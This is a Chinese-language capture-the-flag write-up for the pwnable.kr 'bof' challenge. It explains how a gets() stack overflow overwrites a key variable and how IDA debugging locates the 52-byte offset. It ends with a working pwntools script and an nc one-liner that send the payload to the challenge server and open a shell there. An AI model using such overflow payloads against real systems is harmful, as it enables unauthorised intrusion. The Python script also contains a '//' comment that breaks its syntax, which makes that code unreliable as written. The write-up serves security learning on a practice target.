第三题 bof

题目给了程序和代码。告诉我们程序运行在9000端口。我们用nc命令连接一下看看。

发送一串hello字符,返回 一段回复。。

该程序的意思是通过nc 远程连接端口发送字符,会送给该程序的gets函数(经过测试是这样)

我们需要通过对战溢出来让key 这个变量等于 0xcafebabe 这需要对程序堆栈空间结构有一定的理解,以及对gets函数并不限制字符串长度这点能够理解

在堆栈中,我们的局部变量和参数 分别在 ebp - 4 (局部变量1) 和 ebp +8 (参数1)

相当于我们的局部变量地址往后增加,可以覆盖掉参数的地址。我们其实能够从代码中看到我们的的局部变量空间为32,但是编译器可能生成一些临时变量,改变其堆栈空间大小,这时候我们就需要调试来计算程序overflowme变量的地址 距离我们的key参数的真正距离。来实现堆栈覆盖。

对于调试linux程序,我用不来gdb(以后可能要学习),这里只能用ida 来远程调试。
具体如何操作,可以去youtube上看教程,百度上也有挺多的。。。

打开 IDA 接收端 (该文件在ida的 dbgsrv下面 ,自己复制到linux)

运行IDA

选择调试器。

输入虚拟机参数:

在main函数入口下段。。运行程序。进入到fun函数

发现参数在堆栈的地址为 :FFCA77E0

我们找到scanf函数的输入地址:

发现 overflowme 的堆栈地址是0xFFCA77AC

做个减法 = 0x 34 即 52 .那么我们需要构建 52个填充字符 再加 0xcafebabe 作为输入,覆盖掉原来的数据

这些数据通过手动输入明显不大可能,有写字符键盘无法输入,所以我们这里编写溢出漏洞代码来帮助我们输入

代码如下

1
2
3
4
5
6
7
8
9
#!/usr/bin/python
import pwn
print "asdasd"
r = pwn.remote("pwnable.kr",9000)
s = 'A'*52
s+= pwn.p32(0xcafebabe) //这个p32函数可以自动处理小端数据等,方便的很
r.send(s)
r.interactive()
#让我们与服务器通信,关键这里程序最后被shell接管了,并不是直接获取flag,我们也还需要进行 cat 查看flag文件。

另外一种写法:

1
(python -c "print 'a'*52 + '\xbe\xba\xfe\xca'"; cat -) | nc pwnable.kr 9000


1